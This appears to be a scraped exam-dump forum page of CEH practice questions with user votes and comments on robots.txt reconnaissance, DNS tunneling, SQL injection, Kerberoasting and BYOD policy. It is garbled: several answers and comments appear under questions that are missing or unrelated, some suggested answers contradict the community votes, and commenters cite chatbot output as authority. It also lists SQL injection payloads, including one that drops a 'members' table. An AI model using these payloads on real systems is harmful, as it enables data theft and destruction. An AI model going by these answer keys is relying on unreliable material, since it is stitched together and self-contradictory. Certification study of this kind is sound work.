The robots.txt file contains the list of the web server directories and files that the web site owner wants to hide from web crawlers

An attacker can simply request the Robots.txt file from the URL and retrieve sensitive information such as the root directory structure and content management system information about the target website

An attacker can also download the Robots.txt file of a target website using the Wget tool

Selected Answer: B

B. Robots.txt

upvoted 1 times

🗳️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: B

Robots.txt is a file that webmasters use to communicate with web crawlers and other automated agents visiting their site. This file is often used to exclude certain directories or pages from being crawled, but it can also contain valuable information about the site's directory structure and organization. By examining the robots.txt file, an attacker can gain insight into the site's organization and potentially identify hidden or sensitive directories. Domain.txt is not a standard file used in web server configuration or operation. Document root is the root directory of the web server, and index.html is the default home page file. While these files can provide information about the web server and its configuration, they do not necessarily reveal the structure of the website.

John, a professional hacker, decided to use DNS to perform data exfiltration on a target network. In this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique, John successfully injected malware to bypass a firewall and maintained communication with the victim machine and C&C server.

What is the technique employed by John to bypass the firewall?

- A. DNSSEC zone walking
- B. DNS cache snooping
- C. DNS enumeration
- D. DNS tunneling method

Suggested Answer: D

Community vote distribution

D (100%)

  **eli117**  1 year, 8 months ago

Selected Answer: D

DNS tunneling is a technique used to bypass network security controls by encapsulating non-DNS traffic within DNS packets. By embedding malicious data into the DNS protocol packets, an attacker can bypass firewalls and other security controls that are not configured to inspect DNS traffic.

DNSSEC zone walking is a technique used to extract information from DNSSEC-signed zones by iterating over the DNS tree. DNS cache snooping is a technique used to obtain information about a DNS server's cache by sending queries for non-existent domain names. DNS enumeration is a technique used to gather information about a target network by querying DNS servers for information about the network's hosts and services.

upvoted 5 times

  **insaniunt**  1 year ago

Selected Answer: D

D. DNS tunneling method

upvoted 1 times

  **IPconfig** 1 year, 2 months ago

C. WEP

Like V11 Q242

upvoted 1 times

eli117 1 year, 8 months ago

Selected Answer: C

WEP is an old and outdated encryption protocol that was designed to provide wireless networks with a level of security similar to that of wired networks. However, it has been found to be vulnerable to a number of attacks, including key cracking and packet injection. WPA (Wi-Fi Protected Access) and WPA3 are more recent and secure encryption protocols for wireless networks. RADIUS (Remote Authentication Dial-In User Service) is a networking protocol used for centralized authentication, authorization, and accounting management.

upvoted 1 times

You are a cybersecurity specialist at CloudTech Inc., a company providing cloud-based services. You are managing a project for a client who wants to migrate their sensitive data to a public cloud service. To comply with regulatory requirements, the client insists on maintaining full control over the encryption keys even when the data is at rest on the cloud. Which of the following practices should you implement to meet this requirement?

- A. Encrypt data client-side before uploading to the cloud and retain control of the encryption keys.
- B. Use the cloud service provider's encryption services but store keys on-premises.
- C. Rely on Secure Sockets Layer (SSL) encryption for data at rest.
- D. Use the cloud service provider's default encryption and key management services.

Suggested Answer: A

Community vote distribution

A (100%)

 **insaniunt** Highly Voted 10 months, 3 weeks ago

Selected Answer: A

To meet the client's requirement of maintaining full control over the encryption keys even when the data is at rest on the cloud, the most appropriate practice would be:

- A. Encrypt data client-side before uploading to the cloud and retain control of the encryption keys.

This approach ensures that the client encrypts the data on their premises before uploading it to the cloud, and they retain control of the encryption keys. This way, even if the data is stored in the cloud, only the client holds the keys necessary for decryption, providing them with full control over their sensitive information

A skilled ethical hacker was assigned to perform a thorough OS discovery on a potential target. They decided to adopt an advanced fingerprinting technique and sent a TCP packet to an open TCP port with specific flags enabled. Upon receiving the reply, they noticed the flags were SYN and ECN-Echo. Which test did the ethical hacker conduct and why was this specific approach adopted?

- A. Test 3: The test was executed to observe the response of the target system when a packet with URG, PSH, SYN, and FIN flags was sent, thereby identifying the OS
- B. Test 2: This test was chosen because a TCP packet with no flags enabled is known as a NULL packet and this would allow the hacker to assess the OS of the target
- C. Test 1: The test was conducted because SYN and ECN-Echo flags enabled to allow the hacker to probe the nature of the response and subsequently determine the OS fingerprint
- D. Test 6: The hacker selected this test because a TCP packet with the ACK flag enabled sent to a closed TCP port would yield more information about the OS

Suggested Answer: C

Community vote distribution

C (100%)

🗲️ 👤 **yicx1** 1 year ago

Test 6: send to closed port.

Test 2: send empty packet to open port.

Test 3: send packet with set flags SYN|FIN|URG|PSH on open port without any options

So the answer is Test 1: send packet with SYN flag with TCP options on open ports

In an intricate web application architecture using an Oracle database, you, as a security analyst, have identified a potential SQL Injection attack surface. The database consists of 'x' tables, each with 'y' columns. Each table contains 'z' records. An attacker, well-versed in SQLi techniques, crafts 'u' SQL payloads, each attempting to extract maximum data from the database. The payloads include 'UNION SELECT' statements and 'DBMS_XSLPROCESSOR.READ2CLOB' to read sensitive files. The attacker aims to maximize the total data extracted 'E=xyz*u'. Assuming 'x=4', 'y=2', and varying 'z' and 'u', which situation is likely to result in the highest extracted data volume?

- A. z=600, u=2: The attacker devises 2 SQL payloads, each aimed at tables holding 600 records, affecting all columns across all tables.
- B. z=550, u=2: Here, the attacker formulates 2 SQL payloads and directs them towards tables containing 550 records, impacting all columns and tables.
- C. z=500, u=3: The attacker creates 3 SQL payloads and targets tables with 500 records each, exploiting all columns and tables.
- D. z=400, u=4: The attacker constructs 4 SQL payloads, each focusing on tables with 400 records, influencing all columns of all tables.

D - Ping of Death

Module 10 Page 1441 from CEH v12 book

upvoted 4 times

🗨️ 👤 **insaniunt** 1 year, 4 months ago

In a Ping of Death (PoD) attack, an attacker attempts to crash, destabilize, or freeze the target system or service by sending malformed or oversized packets using a simple ping command. Suppose an attacker sends a packet with a size of 65,538 bytes to the target web server. This size exceeds the size limit prescribed by RFC 791 IP, which is 65,535 bytes. The reassembly process performed by the receiving system might cause the system to crash. In such attacks, the attacker's identity can be easily spoofed, and the attacker might not need detailed knowledge of the target machine, except its IP address.

upvoted 2 times

🗨️ 👤 **smoce** 1 year, 4 months ago

Selected Answer: D

A Ping of Death (PoD) attack is a form of DDoS attack in which an attacker sends the recipient device simple ping requests as fragmented IP packets that are oversized or malformed.

upvoted 4 times

Your company has been receiving regular alerts from its IDS about potential intrusions. On further investigation, you notice that these alerts have been false positives triggered by certain goodwill files. In response, you are planning to enhance the IDS with YARA rules, reducing these false positives while improving the detection of real threats. Based on the scenario and the principles of YARA and IDS, which of the following strategies would best serve your purpose?

- A. Writing YARA rules specifically to identify the goodwill files triggering false positives
- B. Implementing YARA rules that focus solely on known malware signatures
- C. Creating YARA rules to examine only the private database for intrusions
- D. Incorporating YARA rules to detect patterns in all files regardless of their nature

Given the complexities of an organization's network infrastructure, a threat actor has exploited an unidentified vulnerability, leading to a major data breach. As a Certified Ethical Hacker (CEH), you are tasked with enhancing the organization's security stance. To ensure a comprehensive security defense, you recommend a certain security strategy. Which of the following best represents the strategy you would likely suggest and why?

- A. Develop an in-depth Risk Management process, involving identification, assessment, treatment, tracking, and review of risks to control the potential effects on the organization.
- B. Establish a Defense-in-Depth strategy, incorporating multiple layers of security measures to increase the complexity and decrease the likelihood of a successful attack.
- C. Implement an Information Assurance (IA) policy focusing on ensuring the integrity, availability, confidentiality, and authenticity of information systems.
- D. Adopt a Continual/Adaptive Security Strategy involving ongoing prediction, prevention, detection, and response actions to ensure comprehensive computer network defense.

Suggested Answer: D

 **insaniunt** Highly Voted 10 months, 3 weeks ago

Selected Answer: D

D.

Organizations should adopt adaptive security strategy, which involves implementing all the four network security approaches: Protection, Detection, Responding and Prediction

The adaptive security strategy consists of four security activities corresponding to each security approach - page 53 from ceh v12 book
upvoted 7 times

 **e020fdc** Most Recent 1 month, 1 week ago

Selected Answer: B

I thought D, but ChatGPT says B. Idk what EC Councils wants. "In the scenario, a threat actor exploited an unknown vulnerability (i.e., a zero-day or unidentified weakness), which led to a major data breach. This indicates that a single point of failure was likely exploited. The most effective countermeasure against such scenarios is to layer security controls, so that if one control fails, others are still in place to prevent or mitigate the attack. This is exactly what Defense-in-Depth provides."

It is D, pg 54 ceh v12

upvoted 4 times

As a cybersecurity professional, you are responsible for securing a high-traffic web application that uses MySQL as its backend database. Recently, there has been a surge of unauthorized login attempts, and you suspect that a seasoned black-hat hacker is behind them. This hacker has shown proficiency in SQL Injection and appears to be using the 'UNION' SQL keyword to trick the login process into returning additional data. However, your application's security measures include filtering special characters in user inputs, a method usually effective against such attacks. In this challenging environment, if the hacker still intends to exploit this SQL Injection vulnerability, which strategy is he most likely to employ?

- A. The hacker tries to manipulate the 'UNION' keyword in such a way that it triggers a database error, potentially revealing valuable information about the database's structure.
- B. The hacker switches tactics and resorts to a 'time-based blind' SQL Injection attack, which would force the application to delay its response, thereby revealing information based on the duration of the delay.
- C. The hacker attempts to bypass the special character filter by encoding his malicious input, which could potentially enable him to successfully inject damaging SQL queries.
- D. The hacker alters his approach and injects a 'DROP TABLE' statement, a move that could potentially lead to the loss of vital data stored in the application's database.

Suggested Answer: B

Community vote distribution

C (100%)

  **insaniunt** Highly Voted 10 months, 3 weeks ago

Selected Answer: C

C - Encoding can work with the special character filter because the filter may not recognize the encoded input as a special character. For example, the filter may block the single quote character (') but not the URL encoded version of it (%27). So the hacker can use the encoded input to trick the filter and still inject malicious SQL commands

upvoted 9 times

  **qtygbajpesdayazko** 10 months ago

this is the way

upvoted 1 times

  **Imourikis** Most Recent 10 months ago

The black-hat hacker tries to 'trick the login process into returning additional data'. Also, in the end it is mentioned that 'the hacker still intends to exploit this SQL Injection vulnerability'. So:

Not A - He/She does not want the structure but the data

Not B - Delay will not say much about the data but rather whether a query is valid or not

Not D - Data loss is not what he/she seeks for.

It's B as encoding may allow to bypass the special characters filtering.

Team can you confirm if this is accurate

upvoted 1 times

You're the security manager for a tech company that uses a database to store sensitive customer data. You have implemented countermeasures against SQL injection attacks. Recently, you noticed some suspicious activities and suspect an attacker is using SQL injection techniques. The attacker is believed to use different forms of payloads in his SQL queries. In the case of a successful SQL injection attack, which of the following payloads would have the most significant impact?

- A. UNION SELECT NULL, NULL, NULL -- : This payload manipulates the UNION SQL operator, enabling the attacker to retrieve data from different database tables
- B. ' OR username LIKE '%': This payload uses the LIKE operator to search for a specific pattern in a column
- C. ' OR '1'='1: This payload manipulates the WHERE clause of an SQL statement, allowing the attacker to view unauthorized data
- D. ' OR 'a'='a; DROP TABLE members; --: This payload combines the manipulation of the WHERE clause with a destructive action, causing data loss

Suggested Answer: D

Community vote distribution

D (80%)

A (20%)

  **insaniunt** Highly Voted 10 months, 3 weeks ago

Selected Answer: D

The correct answer is D. This payload combines the manipulation of the WHERE clause with a destructive action, causing data loss. This is the most significant impact because it can result in the deletion of an entire table from the database, which may contain sensitive customer data. The other payloads only allow the attacker to view or retrieve data, but not to modify or delete it. Therefore, they have less impact than D.

upvoted 8 times

  **aklsjda** Most Recent 8 months, 1 week ago

The question didn't specify if there is a back up of the database, logically B&C are eliminated cuz "BRO". and A is eliminated because the attacker does not want other tables data, so D is the answer (if database is deleted+no backup=DOOM!)

upvoted 1 times

  **calx5** 10 months, 2 weeks ago

Selected Answer: A

A and C = data leakage; A with multiple-data leakage, big impact.

B = pattern only, not data

D = No data leakage, it is just data loss with backup as recovery.

upvoted 2 times

  **insaniunt** 10 months, 1 week ago

Payload D is indeed the most destructive among the options. It not only manipulates the WHERE clause for unauthorized data access but also includes a DROP TABLE statement, which can lead to the deletion of the "members" table, causing data loss.

upvoted 2 times

  **Lalo** 9 months, 1 week ago

Correct answer DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD.

Assuming that the other tables have critical information. However, what if they are temporary tables without critical information (the question does not clarify whether they are tables with important information or not). In this type of questions you have to check if they cover ALL possible options. In this situation, if we assume that it is unimportant data, the SQL injection attack with the most significant impact is D

A malicious user has acquired a Ticket Granting Service from the domain controller using a valid user's Ticket Granting Ticket in a Kerberoasting attack. He exfiltrated the TGS tickets from memory for offline cracking. But the attacker was stopped before he could complete his attack. The system administrator needs to investigate and remediate the potential breach. What should be the immediate step the system administrator takes?

- A. Perform a system reboot to clear the memory
- B. Delete the compromised user's account
- C. Change the NTLM password hash used to encrypt the ST
- D. Invalidate the TGS the attacker acquired

Suggested Answer: D

Community vote distribution

insaniunt Highly Voted 1 year, 4 months ago

Selected Answer: D

D. Invalidate the TGS the attacker acquired: This is the best option among the four. Invalidating the TGS ticket will prevent the attacker from using it to access the network service, regardless of whether he cracks the password hash or not. This will effectively stop the Kerberoasting attack and protect the network from further compromise.

upvoted 6 times

kennels Highly Voted 1 year, 4 months ago

Selected Answer: C

If the TGS ticket is disabled but the password is not changed, the attacker should be able to obtain the victim's password through offline cracking of the issued TGS and connect to the network entity, I think.

You are a cybersecurity consultant for a healthcare organization that utilizes Internet of Medical Things (IoMT) devices, such as connected insulin pumps and heart rate monitors, to provide improved patientcare. Recently, the organization has been targeted by ransomware attacks. While the IT infrastructure was unaffected due to robust security measures, they are worried that the IoMT devices could be potential entry points for future attacks. What would be your main recommendation to protect these devices from such threats?

- A. Disable all wireless connectivity on IoMT devices.
- B. Regularly change the IP addresses of all IoMT devices.
- C. Use network segmentation to isolate IoMT devices from the main network.
- D. Implement multi-factor authentication for all IoMT devices.

Suggested Answer: C

C i think.

upvoted 1 times

You are a cybersecurity consultant for a global organization. The organization has adopted a Bring Your Own Device (BYOD) policy, but they have recently experienced a phishing incident where an employee's device was compromised. In the investigation, you discovered that the phishing attack occurred through a third-party email app that the employee had installed. Given the need to balance security and user autonomy under the BYOD policy, how should the organization mitigate the risk of such incidents? Moreover, consider a measure that would prevent similar attacks without overly restricting the use of personal devices.

- A. Provide employees with corporate-owned devices for work-related tasks.
- B. Require all employee devices to use a company-provided VPN for internet access.
- C. Implement a mobile device management solution that restricts the installation of non-approved applications.
- D. Conduct regular cybersecurity awareness training, focusing on phishing attacks.

Suggested Answer: C

Community vote distribution

D (52%)

C (48%)

🗳️ 👤 **e020fdc** 1 month, 1 week ago

Selected Answer: C

From Chat GPT: Mobile Device Management (MDM) strikes this balance:

MDM allows IT administrators to enforce security policies on personal devices without owning them.

With the right configuration, MDM can:

Restrict or block the use of unauthorized or unapproved apps, like third-party email clients that bypass secure gateways.

Enforce encryption, remote wipe, and separate work/personal data (through containerization).

Allow continued use of the personal device while segregating or protecting corporate resources.

This directly addresses the attack vector (unauthorized apps) while preserving BYOD flexibility.

upvoted 1 times

🗳️ 👤 **Naif2030** 4 months ago

Selected Answer: D

they don't have the rights to restrict me from downloading anything on my own device, otherwise they should buy me one. so the only valid answer here is D

upvoted 3 times

🗳️ 👤 **Rami1996** 5 months, 2 weeks ago

Selected Answer: C

I think that MDM is the most suitable choice

upvoted 1 times

🗳️ 👤 **7a0977f** 8 months ago

I have to go with C. If in fact MDM can be applied to BYOD, then C is the correct answer. D mitigates nothing.

upvoted 2 times

🗳️ 👤 **tyw82** 9 months ago

Selected Answer: D

While MDM should be implemented, the restriction of installation of non-approved applications does not solve this particular issue, because the problem is not with the app itself. No matter which email app you install on your phone, if the staff is not trained on phishing, he can still fall prey to email scams, including those on approved email apps.

upvoted 2 times

🗳️ 👤 **noyon2002** 10 months, 3 weeks ago

C The correct answer From CEH v12, p.2712 :

Mobile Device management

MDM is gaining considerable importance with the adoption of policies such as BYOD across organization

Moreover in the BYOD scenario two separates session one for business and one personal and the MDM will control only the business portion and not the personal

upvoted 2 times

  **e541084** 3 months, 4 weeks ago

your last line shows that the correct answer is D not C, because using mobile is personal not business mobile

upvoted 1 times

XYZ company recently discovered a potential vulnerability on their network, originating from misconfigurations. It was found that some of their host servers had enabled debugging functions and unknown users were granted administrative permissions. As a Certified Ethical Hacker, what would be the most potent risk associated with this misconfiguration?

- A. An attacker may be able to inject a malicious DLL into the current running process
- B. Weak encryption might be allowing man-in-the-middle attacks, leading to data tampering
- C. Unauthorized users may perform privilege escalation using unnecessarily created accounts
- D. An attacker may carry out a Denial-of-Service assault draining the resources of the server in the process

Suggested Answer: C

Community vote distribution

C (67%)

A (33%)

🗳️ 👤 **Imourikis** Highly Voted 1 year, 3 months ago

I believe it's not C, as unknown users have already been granted administrative permissions. Also, there is nowhere mentioned that unnecessarily accounts have been created. Also, not B or D, as these type of attacks do not require gaining admin permissions on a system. The problem with unknown users getting admin perms is that they can change the code the server is running, eg by injecting a malicious DLL. So, it's A.
upvoted 6 times

CEH v12 page: 545

Host Misconfigurations

upvoted 1 times

🗳️ 👤 **yaolsaydi** 5 months ago

Selected Answer: C

Option A (DLL injection) is not directly related to the described misconfiguration.

Option B (weak encryption) is not mentioned in the scenario.

Option D (Denial-of-Service) is possible but less likely to be the most potent risk given the specific misconfigurations described.

upvoted 1 times

🗳️ 👤 **Rami1996** 5 months, 2 weeks ago

Selected Answer: A

An attacker may be able to inject a malicious DLL into the current running process

upvoted 1 times

🗳️ 👤 **jeejy** 6 months, 1 week ago

It's C because, with administrative privileges, you can gain greater control over the network.

upvoted 1 times

🗳️ 👤 **blehbleh** 7 months ago

Selected Answer: A

C doesn't make sense, unknown users were already granted access. C states "C. Unauthorized users may perform privilege escalation using unnecessarily created accounts". it states may perform privilege escalation, its not may, the privileges are already there. There is no need for privilege escalation, it has already been granted. Additionally, it says using unnecessarily created accounts, no where in here does it say any accounts were created unnecessarily. B and D are both wrong. So I have to go with A.

upvoted 1 times

🗳️ 👤 **Binx** 10 months, 3 weeks ago

I believe the answer is A

Yes, it is possible for an attacker to inject a malicious DLL through a server debugging tool, especially if debugging functions are enabled and not properly secured. Here's how:

Exploiting Debugging Functions: Debugging tools often have elevated privileges and direct access to the system memory and processes. If an

attacker gains access to these debugging functions, they can manipulate the system in various ways, including injecting malicious code.

DLL injection is a technique used to run malicious code within the address space of another process by loading a dynamic link library (DLL). If debugging functions are enabled, an attacker with access can use these tools to load their malicious DLL into a RUNNING PROCESS.

I choose A, I think John do not have executive decisions on which vulnerability to fix, and he did his duty to present all the vulnerabilities he discovered.

upvoted 1 times

🗨️ 👤 **qwerty100** 1 year, 4 months ago

Selected Answer: B

B. Both the organization and John share responsibility because they did not adequately manage the vulnerabilities.

The key is : a data breach occurs exploiting a different vulnerability

upvoted 2 times

🗨️ 👤 **anarchyeagle** 1 year, 4 months ago

Selected Answer: A

I could not see how this answer is not A. It's clearly invoking Risk Management in which some risks have been mitigated while others are Accepted based on resource limitations. The only doubt in the question comes from the wording. Is the vulnerability that was exploited not identified by John, or was it an accepted vulnerability by the company? Either way, John was a contractor not an employee. It's the company's responsibility to understand that there is a risk in not seeking a second opinion. A is the only answer. The company is always responsible for their security without a contract transferring all risk to a third party company..

upvoted 3 times

🗨️ 👤 **brrbrr** 1 year, 4 months ago

it is not specified that John is a contractor. It is indicated that John has been hired, so it could mean that it is an employee.

upvoted 1 times

🗨️ 👤 **brrbrr** 1 year, 4 months ago

Selected Answer: B

B is the correct answer.

Option A suggests that the organization is at fault because it did not fix all identified vulnerabilities. However, in the context of limited resources, organizations often need to prioritize and allocate their resources strategically.

In the scenario described, the organization decided to fix the most severe vulnerability based on its understanding and resource limitations. While it's true that addressing all vulnerabilities would be ideal, practical constraints may prevent this. Therefore, placing the entire blame on the organization may not be fair.

Option B is a more balanced choice, indicating that both the organization and John share responsibility. This acknowledges that the organization made a decision based on its constraints, but it also suggests that John, as the ethical hacker, has a role in emphasizing the importance of addressing all vulnerabilities and the potential risks associated with leaving some unpatched.

upvoted 1 times

🗨️ 👤 **barey** 1 year, 4 months ago

Tricky, chat GPT4 says:

In this scenario, both the organization and the ethical hacker, John, share responsibility. The organization chose to prioritize fixing only the most severe vulnerability due to limited resources, but it is their responsibility to make informed decisions based on the advice given by the ethical hacker.

And Azure AI:

A. The organization is at fault because it did not fix all identified vulnerabilities.

but when i aske why:

he statement B can be seen as accurate because both the organization and John have roles in managing the vulnerabilities. John, as an ethical hacker, should emphasize the importance of addressing all identified vulnerabilities,

LOL

i put B on Exam
